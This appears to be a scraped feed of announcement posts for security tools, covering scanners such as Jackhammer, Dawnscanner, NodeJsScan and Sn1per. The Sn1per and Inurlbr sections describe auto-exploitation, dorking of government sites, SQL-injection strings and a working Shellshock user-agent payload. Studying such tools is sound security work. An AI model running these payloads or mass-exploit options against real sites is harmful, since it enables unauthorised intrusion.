Jackhammer – One Security Vulnerability Assessment/Management Tool To Solve All The Security Team Problems

One Security vulnerability assessment/management tool to solve all the security team problems.What is Jackhammer?Jackhammer is a collaboration tool built with an aim of bridging the gap between Security team vs dev team, QA team and being a facilitator for TPM to understand and track the quality of the code going into production. It could do static code analysis and dynamic analysis with inbuilt vulnerability management capability. It finds security vulnerabilities in the target applications and it helps security teams to manage the chaos in this new age of continuous integration and continuous/multiple deployments.It completely works on RBAC (Role Based Access Control). There are cool dashboards for individual scans and team scans giving ample flexibility to collaborate with different teams. It is totally built on pluggable architecture which can be integrated with any open source/commercial tool.Jackhammer uses the OWASP pipeline project to run multiple open source and commercial tools against your code,web app, mobile app, cms (wordpress), network.Key Features:Provides unified interface to collaborate on findingsScanning (code) can be done for all code management repositoriesScheduling of scans based on intervals # daily, weekly, monthlyAdvanced false positive filteringPublish vulnerabilities to bug tracking systemsKeep a tab on statistics and vulnerability trends in your applicationsIntegrates with majority of open source and commercial scanning toolsUsers and Roles management giving greater controlConfigurable severity levels on list of findings across the applicationsBuilt-in vulnerability status progressionEasy to use filters to review targeted sets from tons of vulnerabilitiesAsynchronous scanning (via sidekiq) that scaleSeamless Vulnerability ManagementTrack statistics and graph security trends in your applicationsEasily integrates with a variety of open source, commercial and custom scanning toolsSupported Vulnerability Scanners:Static Analysis:BrakemanBundler-AuditCheckmarx**DawnscannerFindSecurityBugsXanitizer*NodeSecurityProjectPMDRetire.js   * license required      ** commercial license requiredFinding hard coded secrets/tokens/creds:Trufflehog (Slightly modified/extended for better result and integration as of May 2017)Webapp:ArachniMobile App:Androbugs (Slightly modified/extended for better result and integration as of May 2017)Androguard (Slightly modified/extended for better result and integration as of May 2017)Wordpress:WPScan (Slightly modified/extended for better result and integration as of May 2017)Network:NmapAdding Custom (other open source/commercial /personal) Scanners:You can add any scanner to jackhammer within 10-30 minutes. Check the links/video Quick Start and InstallationSee our Quick Start/Installation Guide if you want to try out Jackhammer as quickly as possible using Docker Compose.Run the following commands for local setup (corporate mode): git clone https://github.com/olacabs/jackhammer sh ./docker-build.shDefault credentials for local setup:username: jackhammer@olacabs.compassword: j4ckh4mm3r(For single user mode)sh ./docker-build.sh SingleUserdo signup for accessRestarting Jackhammerdocker-compose stopdocker-compose rmdocker-compose up -dUser GuideThe User Guide will give you an overview of how to use Jackhammer once you have things up and running.DemoDemo Environment Link:https://jch.olacabs.com/Default credentials:username: admin@admin.compassword: admin@admin.comCreditsSentinels Team @OlaShout-out to:-Madhu-Habi-Krishna-Shreyas-Krutarth-Naveen-MohanDownload Jackhammer

Link: http://feedproxy.google.com/~r/PentestTools/~3/n25aLXiISAg/jackhammer-one-security-vulnerability.html

Dawnscanner – Dawn Is A Static Analysis Security Scanner For Ruby Written Web Applications (Sinatra, Padrino And ROR Frameworks)

dawnscanner is a source code scanner designed to review your ruby code for security issues.dawnscanner is able to scan plain ruby scripts (e.g. command line applications) but all its features are unleashed when dealing with web applications source code. dawnscanner is able to scan major MVC (Model View Controller) frameworks, out of the box:Ruby on RailsSinatraPadrinoQuick update from November, 2018As you can see dawnscanner is on hold since more then an year. Sorry for that. It’s life. I was overwhelmed by tons of stuff and I dedicated free time to Offensive Security certifications. True to be told, I’m starting OSCE journey really soon.The dawnscanner project will be updated soon with new security checks and kickstarted again.Paolodawnscanner version 1.6.6 has 235 security checks loaded in its knowledge base. Most of them are CVE bulletins applying to gems or the ruby interpreter itself. There are also some check coming from Owasp Ruby on Rails cheatsheet.An overall introductionWhen you run dawnscanner on your code it parses your project Gemfile.lock looking for the gems used and it tries to detect the ruby interpreter version you are using or you declared in your ruby version management tool you like most (RVM, rbenv, …).Then the tool tries to detect the MVC framework your web application uses and it applies the security check accordingly. There checks designed to match rails application or checks that are appliable to any ruby code.dawnscanner can also understand the code in your views and to backtrack sinks to spot cross site scripting and sql injections introduced by the code you actually wrote. In the project roadmap this is the code most of the future development effort will be focused on.dawnscanner security scan result is a list of vulnerabilities with some mitigation actions you want to follow in order to build a stronger web application.InstallationYou can install latest dawnscanner version, fetching it from Rubygems by typing:$ gem install dawnscanner If you want to add dawn to your project Gemfile, you must add the following:group :development do gem ‘dawnscanner’, :require=>falseendAnd then upgrade your bundle$ bundle installYou may want to build it from source, so you have to check it out from github first:$ git clone https://github.com/thesp0nge/dawnscanner.git$ cd dawnscanner$ bundle install$ rake installAnd the dawnscanner gem will be built in a pkg directory and then installed on your system. Please note that you have to manage dependencies on your own this way. It makes sense only if you want to hack the code or something like that.UsageYou can start your code review with dawnscanner very easily. Simply tell the tool where the project root directory.Underlying MVC framework is autodetected by dawnscanner using target Gemfile.lock file. If autodetect fails for some reason, the tool will complain about it and you have to specify if it’s a rails, sinatra or padrino web application by hand.Basic usage is to specify some optional command line option to fit best your needs, and to specify the target directory where your code is stored.$ dawn [options] targetIn case of need, there is a quick command line option reference running dawn -h at your OS prompt.$ dawn -hUsage: dawn [options] target_directoryExamples: $ dawn a_sinatra_webapp_directory $ dawn -C the_rails_blog_engine $ dawn -C –json a_sinatra_webapp_directory $ dawn –ascii-tabular-report my_rails_blog_ecommerce $ dawn –html -F my_report.html my_rails_blog_ecommerce -G, –gem-lock force dawn to scan only for vulnerabilities affecting dependencies in Gemfile.lock (DEPRECATED) -d, –dependencies force dawn to scan only for vulnerabilities affecting dependencies in Gemfile.lockReporting -a, –ascii-tabular-report cause dawn to format findings using tables in ascii art (DEPRECATED) -j, –json cause dawn to format findings using json -K, –console cause dawn to format findings using plain ascii text -C, –count-only dawn will only count vulnerabilities (useful for scripts) -z, –exit-on-warn dawn will return number of found vulnerabilities as exit code -F, –file filename tells dawn to write output to filename -c, –config-file filename tells dawn to load configuration from filenameDisable security check family –disable-cve-bulletins disable all CVE security checks –disable-code-quality disable all code quality checks –disable-code-style disable all code style checks –disable-owasp-ror-cheatsheet disable all Owasp Ruby on Rails cheatsheet checks –disable-owasp-top-10 disable all Owasp Top 10 checksFlags useful to query Dawn -S, –search-knowledge-base [check_name] search check_name in the knowledge base –list-knowledge-base list knowledge-base content –list-known-families list security check families contained in dawn’s knowledge base –list-known-framework list ruby MVC frameworks supported by dawn –list-scan-registry list past scan informations stored in scan registry Service flags -D, –debug enters dawn debug mode -V, –verbose the output will be more verbose -v, –version show version information -h, –help show this helpRake taskTo include dawnscanner in your rake task list, you simply have to put this line in your Rakefilerequire ‘dawn/tasks’Then executing $ rake -T you will have a dawn:run task you want to execute.$ rake -T…rake dawn:run # Execute dawnscanner on the current directory…Interacting with the knowledge baseYou can dump all security checks in the knowledge base this way$ dawn –list-knowledge-baseUseful in scripts, you can use –search-knowledge-base or -S with as parameter the check name you want to see if it’s implemented as a security control or not.$ dawn -S CVE-2013-642107:59:30 [*] dawn v1.1.0 is starting upCVE-2013-6421 found in knowledgebase.$ dawn -S this_test_does_not_exist08:02:17 [*] dawn v1.1.0 is starting upthis_test_does_not_exist not found in knowledgebasedawnscanner security scan in actionAs output, dawnscanner will put all security checks that are failed during the scan.This the result of Codedake::dawnscanner running against a Sinatra 1.4.2 web application wrote for a talk I delivered in 2013 at Railsberry conference.As you may see, dawnscanner first detects MVC running the application by looking at Gemfile.lock, than it discards all security checks not appliable to Sinatra (49 security checks, in version 1.0, especially designed for Ruby on Rails) and it applies them.$ dawn ~/src/hacking/railsberry201318:40:27 [*] dawn v1.1.0 is starting up18:40:27 [$] dawn: scanning /Users/thesp0nge/src/hacking/railsberry201318:40:27 [$] dawn: sinatra v1.4.2 detected18:40:27 [$] dawn: applying all security checks18:40:27 [$] dawn: 109 security checks applied – 0 security checks skipped18:40:27 [$] dawn: 1 vulnerabilities found18:40:27 [!] dawn: CVE-2013-1800 check failed18:40:27 [$] dawn: Severity: high18:40:27 [$] dawn: Priority: unknown18:40:27 [$] dawn: Description: The crack gem 0.3.1 and earlier for Ruby does not properly restrict casts of string values, which might allow remote attackers to conduct object-injection attacks and execute arbitrary code, or cause a denial of service (memory and CPU consumption) by leveraging Action Pack support for (1) YAML type conversion or (2) Symbol type conversion, a similar vulnerability to CVE-2013-0156.18:40:27 [$] dawn: Solution: Please use crack gem version 0.3.2 or above. Correct your gemfile18:40:27 [$] dawn: Evidence:18:40:27 [$] dawn: Vulnerable crack gem version found: 0.3.118:40:27 [*] dawn is leavingWhen you run dawnscanner on a web application with up to date dependencies, it’s likely to return a friendly no vulnerabilities found message. Keep it up working that way!This is dawnscanner running against a Padrino web application I wrote for a scorecard quiz game about application security. Italian language only. Sorry.18:42:39 [*] dawn v1.1.0 is starting up18:42:39 [$] dawn: scanning /Users/thesp0nge/src/CORE_PROJECTS/scorecard18:42:39 [$] dawn: padrino v0.11.2 detected18:42:39 [$] dawn: applying all security checks18:42:39 [$] dawn: 109 security checks applied – 0 security checks skipped18:42:39 [*] dawn: no vulnerabilities found.18:42:39 [*] dawn is leavingIf you need a fancy HTML report about your scan, just ask it to dawnscanner with the –html flag used with the –file since I wanto to save the HTML to disk.$ dawn /Users/thesp0nge/src/hacking/rt_first_app –html –file report.html09:00:54 [*] dawn v1.1.0 is starting up09:00:54 [*] dawn: report.html created (2952 bytes)09:00:54 [*] dawn is leavingUseful linksProject homepage: http://dawnscanner.orgTwitter profile: @dawnscannerGithub repository: https://github.com/thesp0nge/dawnscannerMailing list: https://groups.google.com/forum/#!forum/dawnscannerThanks tosaten: first issue posted about a typo in the READMEpresidentbeef: for his outstanding work that inspired me creating dawn and for double check comparison matrix. Issue #2 is yours :)marinerJB: for misc bug reports and further ideasMatteo: for ideas on API and their usage with github.com hooksDownload Dawnscanner

Link: http://feedproxy.google.com/~r/PentestTools/~3/gox5JYdlGTc/dawnscanner-dawn-is-static-analysis.html

Sn1per v6.0 – Automated Pentest Framework For Offensive Security Experts

Sn1per Community Edition is an automated scanner that can be used during a penetration test to enumerate and scan for vulnerabilities. Sn1per Professional is Xero Security’s premium reporting addon for Professional Penetration Testers, Bug Bounty Researchers and Corporate Security teams to manage large environments and pentest scopes.SN1PER PROFESSIONAL FEATURES:Professional reporting interfaceSlideshow for all gathered screenshotsSearchable and sortable DNS, IP and open port databaseCategorized host reportsQuick links to online recon tools and Google hacking queriesPersonalized notes field for each hostDEMO VIDEO:SN1PER COMMUNITY FEATURES: Automatically collects basic recon (ie. whois, ping, DNS, etc.) Automatically launches Google hacking queries against a target domain Automatically enumerates open ports via NMap port scanning Automatically brute forces sub-domains, gathers DNS info and checks for zone transfers Automatically checks for sub-domain hijacking Automatically runs targeted NMap scripts against open ports Automatically runs targeted Metasploit scan and exploit modules Automatically scans all web applications for common vulnerabilities Automatically brute forces ALL open services Automatically test for anonymous FTP access Automatically runs WPScan, Arachni and Nikto for all web services Automatically enumerates NFS shares Automatically test for anonymous LDAP access Automatically enumerate SSL/TLS ciphers, protocols and vulnerabilities Automatically enumerate SNMP community strings, services and users Automatically list SMB users and shares, check for NULL sessions and exploit MS08-067 Automatically exploit vulnerable JBoss, Java RMI and Tomcat servers Automatically tests for open X11 servers Auto-pwn added for Metasploitable, ShellShock, MS08-067, Default Tomcat Creds Performs high level enumeration of multiple hosts and subnets Automatically integrates with Metasploit Pro, MSFConsole and Zenmap for reporting Automatically gathers screenshots of all web sites Create individual workspaces to store all scan outputAUTO-PWN:Drupal Drupalgedon2 RCE CVE-2018-7600GPON Router RCE CVE-2018-10561Apache Struts 2 RCE CVE-2017-5638Apache Struts 2 RCE CVE-2017-9805Apache Jakarta RCE CVE-2017-5638Shellshock GNU Bash RCE CVE-2014-6271HeartBleed OpenSSL Detection CVE-2014-0160Default Apache Tomcat Creds CVE-2009-3843MS Windows SMB RCE MS08-067Webmin File Disclosure CVE-2006-3392Anonymous FTP AccessPHPMyAdmin Backdoor RCEPHPMyAdmin Auth BypassJBoss Java De-Serialization RCE’sKALI LINUX INSTALL:./install.shDOCKER INSTALL:Credits: @menzowDocker Install: https://github.com/menzow/sn1per-dockerDocker Build: https://hub.docker.com/r/menzo/sn1per-docker/builds/bqez3h7hwfun4odgd2axvn4/Example usage:$ docker pull menzo/sn1per-docker$ docker run –rm -ti menzo/sn1per-docker sniper menzo.ioUSAGE:[*] NORMAL MODEsniper -t|–target [*] NORMAL MODE + OSINT + RECONsniper -t|–target <TARGET> -o|–osint -re|–recon[*] STEALTH MODE + OSINT + RECONsniper -t|–target <TARGET> -m|–mode stealth -o|–osint -re|–recon[*] DISCOVER MODEsniper -t|–target <CIDR> -m|–mode discover -w|–workspace <WORSPACE_ALIAS>[*] SCAN ONLY SPECIFIC PORTsniper -t|–target <TARGET> -m port -p|–port <portnum>[*] FULLPORTONLY SCAN MODEsniper -t|–target <TARGET> -fp|–fullportonly[*] PORT SCAN MODEsniper -t|–target <TARGET> -m|–mode port -p|–port <PORT_NUM>[*] WEB MODE – PORT 80 + 443 ONLY!sniper -t|–target <TARGET> -m|–mode web[*] HTTP WEB PORT MODEsniper -t|–target <TARGET> -m|–mode webporthttp -p|–port <port>[*] HTTPS WEB PORT MODEsniper -t|–target <TARGET> -m|–mode webporthttps -p|–port <port>[*] ENABLE BRUTEFORCEsniper -t|–target <TARGET> -b|–bruteforce[*] AIRSTRIKE MODEsniper -f|–file /full/path/to/targets.txt -m|–mode airstrike[*] NUKE MODE WITH TARGET LIST, BRUTEFORCE ENABLED, FULLPORTSCAN ENABLED, OSINT ENABLED, RECON ENABLED, WORKSPACE & LOOT ENABLEDsniper -f–file /full/path/to/targets.txt -m|–mode nuke -w|–workspace <WORKSPACE_ALIAS>[*] ENABLE LOOT IMPORTING INTO METASPLOITsniper -t|–target <TARGET>[*] LOOT REIMPORT FUNCTIONsniper -w <WORKSPACE_ALIAS> –reimport[*] UPDATE SNIPERsniper -u|–updateMODES:NORMAL: Performs basic scan of targets and open ports using both active and passive checks for optimal performance.STEALTH: Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking.AIRSTRIKE: Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IPs that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning.NUKE: Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke.DISCOVER: Parses all hosts on a subnet/CIDR (ie. and initiates a sniper scan against each host. Useful for internal network scans.PORT: Scans a specific port for vulnerabilities. Reporting is not currently available in this mode.FULLPORTONLY: Performs a full detailed port scan and saves results to XML.WEB: Adds full automatic web application scans to the results (port 80/tcp & 443/tcp only). Ideal for web applications but may increase scan time significantly.WEBPORTHTTP: Launches a full HTTP web application scan against a specific host and port.WEBPORTHTTPS: Launches a full HTTPS web application scan against a specific host and port.UPDATE: Checks for updates and upgrades all components used by sniper.REIMPORT: Reimport all workspace files into Metasploit and reproduce all reports.RELOAD: Reload the master workspace report.SAMPLE REPORT:https://gist.github.com/1N3/8214ec2da2c91691bcbcDownload Sn1per v5.0

Link: http://feedproxy.google.com/~r/PentestTools/~3/RLWB_3_Wk9M/sn1per-v60-automated-pentest-framework.html

ZIP File Raider – Burp Extension For ZIP File Payload Testing

ZIP File Raider is a Burp Suite extension for attacking web application with ZIP file upload functionality. You can easily inject Burp Scanner/Repeater payloads in ZIP content of the HTTP requests which is not feasible by default. This extension helps to automate the extraction and compression steps.This software was created by Natsasit Jirathammanuwat during a cooperative education course at King Mongkut’s University of Technology Thonburi (KMUTT).InstallationSet up Jython standalone Jar in Extender > Options > Python Environment > “Select file…".Add ZIP File Raider extension in Extender > Extensions > Add > CompressedPayloads.py (Extension type: Python)How to useSend the HTTP request with a compressed file to the ZIP File RaiderFirst, right click on the HTTP request with a compressed file in HTTP body and then select "Send request to ZIP File Raider extender Repeater" or Scanner.RepeaterThis Repeater tab makes it possible to edit the content of the compressed file and then repeats it to the server promptly.Descriptions for ZIP File Raider – Repeater tab:Files and folders pane – list of files and folders in the compressed file which is sent from the previous step (Send request to …), select a file to edit its content.Edit pane – edit the content of selected file in text or hex mode (press "Save" after editing one file if you want to edit multiple files in a ZIP file).Request/Response pane – The HTTP request/response will be shown in this pane after clicking on the "Compress & Go" button.ScannerThis Scanner tab is used for setting the §insertion point§ in the content of the ZIP file before sending it to Burp Scanner.Descriptions for ZIP File Raider – Scanner tab:Files and folders pane – list of files and folders in the compressed file which is sent from the previous step (Send request to …), select a file that you want to set the §insertion points§.Set insertion point pane – set insertion point in the content of the selected file by clicking on the "Set insertion point" button. (The insertion point will be enclosed with a pair of § symbol)Config/Status pane – config the scanner and show the scanner status (Not Running/Running).AuthorNatsasit JirathammanuwatDownload ZIPFileRaider

Link: http://feedproxy.google.com/~r/PentestTools/~3/bSJ51qNGJ7M/zip-file-raider-burp-extension-for-zip.html

NodeJsScan – A Static Security Code Scanner For Node.js Applications

Static security code scanner (SAST) for Node.js applications.Configure & Run NodeJsScanInstall Postgres and configure SQLALCHEMY_DATABASE_URI in core/settings.pypip3 install -r requirements.txtpython3 migrate.py # Run once to create database entries requiredpython3 app.py # Testing Environmentgunicorn -b app:app # Production EnvironmentThis will run NodeJsScan on you need to debug, set DEBUG = True in core/settings.pyNodeJsScan CLIThe command line interface (CLI) allows you to integrate NodeJsScan with DevSecOps CI/CD pipelines. The results are in JSON format. When you use CLI the results are never stored with NodeJsScan backend.virtualenv venv -p python3source venv/bin/activate(venv)pip install nodejsscan(venv)$ nodejsscanusage: nodejsscan [-h] [-f FILE [FILE …]] [-d DIRECTORY [DIRECTORY …]] [-o OUTPUT] [-v]optional arguments: -h, –help show this help message and exit -f FILE [FILE …], –file FILE [FILE …] Node.js file(s) to scan -d DIRECTORY [DIRECTORY …], –directory DIRECTORY [DIRECTORY …] Node.js source code directory/directories to scan -o OUTPUT, –output OUTPUT Output file to save JSON report -v, –version Show nodejsscan versionPython APIimport core.scanner as njsscanres_dir = njsscan.scan_dirs([‘/Code/Node.Js-Security-Course’])res_file = njsscan.scan_file([‘/Code/Node.Js-Security-Course/deserialization.js’])print(res_file)[{‘title’: ‘Deserialization Remote Code Injection’, ‘description’: “User controlled data in ‘unserialize()’ or ‘deserialize()’ function can result in Object Injection or Remote Code Injection.", ‘tag’: ‘rci’, ‘line’: 11, ‘lines’: ‘app.use(cookieParser())\n\napp.get(\’/\’, function(req, res) {\n if (req.cookies.profile) {\n var str = new Buffer(req.cookies.profile, \’base64\’).toString();\n var obj = serialize.unserialize(str);\n if (obj.username) {\n res.send("Hello " + escape(obj.username));\n }\n } else {‘, ‘filename’: ‘deserialization.js’, ‘path’: ‘/Users/ajin/Code/Node.Js-Security-Course/deserialization.js’, ‘sha2′: ’06f3f0ff3deed27aeb95955a17abc7722895d3538c14648af97789d8777cee50’}]Dockerdocker build -t nodejsscan .docker run -it -p 9090:9090 nodejsscanDockerHubdocker pull opensecurity/nodejsscandocker run -it -p 9090:9090 opensecurity/nodejsscan:latestNodeJsScan Web UIStatic AnalysisDownload NodeJsScan

Link: http://www.kitploit.com/2018/11/nodejsscan-static-security-code-scanner.html

DeepSearch – Advanced Web Dir Scanner

DeepSearch is a simple command line tool for bruteforce directories and files in websites.Installation$ git clone https://github.com/m4ll0k/DeepSearch.git deepsearch$ cd deepsearch $ pip3 install requests$ python3 deepsearch.pyScreenshotsUsageBasic:python3 deepsearch.py -u http://testphp.vulnweb.com/ -e php -w wordlist.txtForce extension for every wordlist entry (support one extension):python3 deepsearch.py -u http://testphp.vulnweb.com/ -e php -w wordlist.txt -fMake a request by hostname (ip):python3 deepsearch.py -u http://testphp.vulnweb.com/ -e php -w wordlist.txt -bForce lowercase for every wordlist entry:python3 deepsearch.py -u http://testphp.vulnweb.com/ -e php -w wordlist.txt -lForce uppercase for every wordlist entry:python3 deepsearch.py -u http://testphp.vulnweb.com/ -e php -w wordlist.txt -pShow only status code separated by comma:python3 deepsearch.py -u http://testphp.vulnweb.com/ -e php -w wordlist.txt -o 200,301,302Exclude status code separated by comma:python3 deepsearch.py -u http://testphp.vulnweb.com/ -e php -w wordlist.txt -x 501,502,503,401URL Injection Point (%word%):python3 deepsearch.py -u http://testphp.vulnweb.com/test%1%.php -e php -w wordlist.txtURL Injection Point (%%):python3 deepsearch.py -u http://testphp.vulnweb.com/id/%1%/index.html -e php -w wordlist.txtURL Parameters Injection:python3 deepsearch.py -u http://testphp.vulnweb.com/index.php?id=%2%&user=1 -e php -w wordlist.txtpython3 deepsearch.py -u http://testphp.vulnweb.com/index.php?%id%=1&user=2 -e php -w wordlist.txtAdd Headers:python3 deepsearch.py -u http://testphp.vulnweb.com/ -e php -w wordlist.txt -H “Content-Type:text/html\nETag:1234" Proxy:python3 deepsearch.py -u http://testphp.vulnweb.com/ -e php -w wordlist.txt -P by list:python3 deepsearch.py -U my_urls.txt -e php -w wordlist.txtOther Options:python3 deepsearch.py -u http://testphp.vulnweb.com/ -e php -w wordlist.txt -t 10 -T 3 -d 2 -R -c "test=test" –random-agentDownload DeepSearch

Link: http://www.kitploit.com/2018/11/deepsearch-advanced-web-dir-scanner.html

Docker-Inurlbr – Advanced Search In Search Engines, Enables Analysis Provided To Exploit GET / POST Capturing Emails & Urls

Advanced search in search engines, enables analysis provided to exploit GET / POST capturing emails & urls, with an internal custom validation junction for each target / url found.How to buildgit clone https://github.com/gmdutra/docker-inurlbr.gitcd docker-inurlbrdocker build -t gmdutra/inurlbr .Rundocker run –name inurlbr -it -d gmdutra/inurlbrHELP:-h–help Alternative long length help command.–ajuda Command to specify Help.–info Information script.–update Code update. -q Choose which search engine you want through [1…24] / [e1..6]]: [options]: 1 – GOOGLE / (CSE) GENERIC RANDOM / API 2 – BING 3 – YAHOO BR 4 – ASK 5 – HAO123 BR 6 – GOOGLE (API) 7 – LYCOS 8 – UOL BR 9 – YAHOO US 10 – SAPO 11 – DMOZ 12 – GIGABLAST 13 – NEVER 14 – BAIDU BR 15 – YANDEX 16 – ZOO 17 – HOTBOT 18 – ZHONGSOU 19 – HKSEARCH 20 – EZILION 21 – SOGOU 22 – DUCK DUCK GO 23 – BOOROW 24 – GOOGLE(CSE) GENERIC RANDOM —————————————- SPECIAL MOTORS —————————————- e1 – TOR FIND e2 – ELEPHANT e3 – TORSEARCH e4 – WIKILEAKS e5 – OTN e6 – EXPLOITS SHODAN —————————————- all – All search engines / not special motors Default: 1 Example: -q {op} Usage: -q 1 -q 5 Using more than one engine: -q 1,2,5,6,11,24 Using all engines: -q all –proxy Choose which proxy you want to use through the search engine: Example: –proxy {proxy:port} Usage: –proxy localhost:8118 –proxy socks5://googleinurl@localhost:9050 –proxy http://admin:12334@ –proxy-file Set font file to randomize your proxy to each search engine. Example: –proxy-file {proxys} Usage: –proxy-file proxys_list.txt –time-proxy Set the time how often the proxy will be exchanged. Example: –time-proxy {second} Usage: –time-proxy 10 –proxy-http-file Set file with urls http proxy, are used to bular capch search engines Example: –proxy-http-file {youfilehttp} Usage: –proxy-http-file http_proxys.txt –tor-random Enables the TOR function, each usage links an unique IP. -t Choose the validation type: op 1, 2, 3, 4, 5 [options]: 1 – The first type uses default errors considering the script: It establishes connection with the exploit through the get method. Demo: www.alvo.com.br/pasta/index.php?id={exploit} 2 – The second type tries to valid the error defined by: -a=’VALUE_INSIDE_THE _TARGET’ It also establishes connection with the exploit through the get method Demo: www.alvo.com.br/pasta/index.php?id={exploit} 3 – The third type combine both first and second types: Then, of course, it also establishes connection with the exploit through the get method Demo: www.target.com.br{exploit} Default: 1 Example: -t {op} Usage: -t 1 4 – The fourth type a validation based on source file and will be enabled scanner standard functions. The source file their values are concatenated with target url. – Set your target with command –target {http://target} – Set your file with command -o {file} Explicative: Source file values: /admin/index.php?id= /pag/index.php?id= /brazil.php?new= Demo: www.target.com.br/admin/index.php?id={exploit} www.target.com.br/pag/index.php?id={exploit} www.target.com.br/brazil.php?new={exploit} 5 – (FIND PAGE) The fifth type of validation based on the source file, Will be enabled only one validation code 200 on the target server, or if the url submit such code will be considered vulnerable. – Set your target with command –target {http://target} – Set your file with command -o {file} Explicative: Source file values: /admin/admin.php /admin.asp /admin.aspx Demo: www.target.com.br/admin/admin.php www.target.com.br/admin.asp www.target.com.br/admin.aspx Observation: If it shows the code 200 will be separated in the output file DEFAULT ERRORS: [*]JAVA INFINITYDB, [*]LOCAL FILE INCLUSION, [*]ZIMBRA MAIL, [*]ZEND FRAMEWORK, [*]ERROR MARIADB, [*]ERROR MYSQL, [*]ERROR JBOSSWEB, [*]ERROR MICROSOFT, [*]ERROR ODBC, [*]ERROR POSTGRESQL, [*]ERROR JAVA INFINITYDB, [*]ERROR PHP, [*]CMS WORDPRESS, [*]SHELL WEB, [*]ERROR JDBC, [*]ERROR ASP, [*]ERROR ORACLE, [*]ERROR DB2, [*]JDBC CFM, [*]ERROS LUA, [*]ERROR INDEFINITE –dork Defines which dork the search engine will use. Example: –dork {dork} Usage: –dork ‘site:.gov.br inurl:php? id’ – Using multiples dorks: Example: –dork {[DORK]dork1[DORK]dork2[DORK]dork3} Usage: –dork ‘[DORK]site:br[DORK]site:ar inurl:php[DORK]site:il inurl:asp’ –dork-file Set font file with your search dorks. Example: –dork-file {dork_file} Usage: –dork-file ‘dorks.txt’ –exploit-get Defines which exploit will be injected through the GET method to each URL found. Example: –exploit-get {exploit_get} Usage: –exploit-get “?’´%270×27;" –exploit-post Defines which exploit will be injected through the POST method to each URL found. Example: –exploit-post {exploit_post} Usage: –exploit-post ‘field1=valor1&field2=valor2&field3=?´0x273exploit;&botao=ok’ –exploit-command Defines which exploit/parameter will be executed in the options: –command-vul/ –command-all. The exploit-command will be identified by the paramaters: –command-vul/ –command-all as _EXPLOIT_ Ex –exploit-command ‘/admin/config.conf’ –command-all ‘curl -v _TARGET__EXPLOIT_’ _TARGET_ is the specified URL/TARGET obtained by the process _EXPLOIT_ is the exploit/parameter defined by the option –exploit-command. Example: –exploit-command {exploit-command} Usage: –exploit-command ‘/admin/config.conf’ -a Specify the string that will be used on the search script: Example: -a {string} Usage: -a ‘hello world</title>’ -d Specify the script usage op 1, 2, 3, 4, 5. Example: -d {op} Usage: -d 1 /URL of the search engine. -d 2 /Show all the url. -d 3 /Detailed request of every URL. -d 4 /Shows the HTML of every URL. -d 5 /Detailed request of all URLs. -d 6 /Detailed PING – PONG irc. -s Specify the output file where it will be saved the vulnerable URLs. Example: -s {file} Usage: -s your_file.txt -o Manually manage the vulnerable URLs you want to use from a file, without using a search engine. Example: -o {file_where_my_urls_are} Usage: -o tests.txt –persist Attempts when Google blocks your search. The script tries to another google host / default = 4 Example: –persist {number_attempts} Usage: –persist 7 –ifredirect Return validation method post REDIRECT_URL Example: –ifredirect {string_validation} Usage: –ifredirect ‘/admin/painel.php’ -m Enable the search for emails on the urls specified. -u Enables the search for URL lists on the url specified. –gc Enable validation of values ​​with google webcache. –pr Progressive scan, used to set operators (dorks), makes the search of a dork and valid results, then goes a dork at a time. –file-cookie Open cookie file. –save-as Save results in a certain place. –shellshock Explore shellshock vulnerability by setting a malicious user-agent. –popup Run –command all or vuln in a parallel terminal. –cms-check Enable simple check if the url / target is using CMS. –no-banner Remove the script presentation banner. –unique Filter results in unique domains. –beep Beep sound when a vulnerability is found. –alexa-rank Show alexa positioning in the results. –robots Show values file robots. –range Set range IP. Example: –range {range_start,rage_end} Usage: –range ‘′ –range-rand Set amount of random ips. Example: –range-rand {rand} Usage: –range-rand ’50’ –irc Sending vulnerable to IRC / server channel. Example: –irc {server#channel} Usage: –irc ‘irc.rizon.net#inurlbrasil’ –http-header Set HTTP header. Example: –http-header {youemail} Usage: –http-header ‘HTTP/1.1 401 Unauthorized,WWW-Authenticate: Basic realm="Top Secret"’ –sedmail Sending vulnerable to email. Example: –sedmail {youemail} Usage: –sedmail youemail@inurl.com.br –delay Delay between research processes. Example: –delay {second} Usage: –delay 10 –time-out Timeout to exit the process. Example: –time-out {second} Usage: –time-out 10 –ifurl Filter URLs based on their argument. Example: –ifurl {ifurl} Usage: –ifurl index.php?id= –ifcode Valid results based on your return http code. Example: –ifcode {ifcode} Usage: –ifcode 200 –ifemail Filter E-mails based on their argument. Example: –ifemail {file_where_my_emails_are} Usage: –ifemail sp.gov.br –url-reference Define referring URL in the request to send him against the target. Example: –url-reference {url} Usage: –url-reference http://target.com/admin/user/valid.php –mp Limits the number of pages in the search engines. Example: –mp {limit} Usage: –mp 50 –user-agent Define the user agent used in its request against the target. Example: –user-agent {agent} Usage: –user-agent ‘Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/’ Usage-exploit / SHELLSHOCK: –user-agent ‘() { foo;};echo; /bin/bash -c "expr 299663299665 / 3; echo CMD:;id; echo END_CMD:;"’ Complete command: php inurlbr.php –dork ‘_YOU_DORK_’ -s shellshock.txt –user-agent ‘_YOU_AGENT_XPL_SHELLSHOCK’ -t 2 -a ‘99887766555’ –sall Saves all urls found by the scanner. Example: –sall {file} Usage: –sall your_file.txt –command-vul Every vulnerable URL found will execute this command parameters. Example: –command-vul {command} Usage: –command-vul ‘nmap sV -p 22,80,21 _TARGET_’ –command-vul ‘./exploit.sh _TARGET_ output.txt’ –command-vul ‘php miniexploit.php -t _TARGET_ -s output.txt’ –command-all Use this commmand to specify a single command to EVERY URL found. Example: –command-all {command} Usage: –command-all ‘nmap sV -p 22,80,21 _TARGET_’ –command-all ‘./exploit.sh _TARGET_ output.txt’ –command-all ‘php miniexploit.php -t _TARGET_ -s output.txt’ [!] Observation: _TARGET_ will be replaced by the URL/target found, although if the user doesn’t input the get, only the domain will be executed. _TARGETFULL_ will be replaced by the original URL / target found. _TARGETXPL_ will be replaced by the original URL / target found + EXPLOIT –exploit-get. _TARGETIP_ return of ip URL / target found. _URI_ Back URL set of folders / target found. _RANDOM_ Random strings. _PORT_ Capture port of the current test, within the –port-scan process. _EXPLOIT_ will be replaced by the specified command argument –exploit-command. The exploit-command will be identified by the parameters –command-vul/ –command-all as _EXPLOIT_ –replace 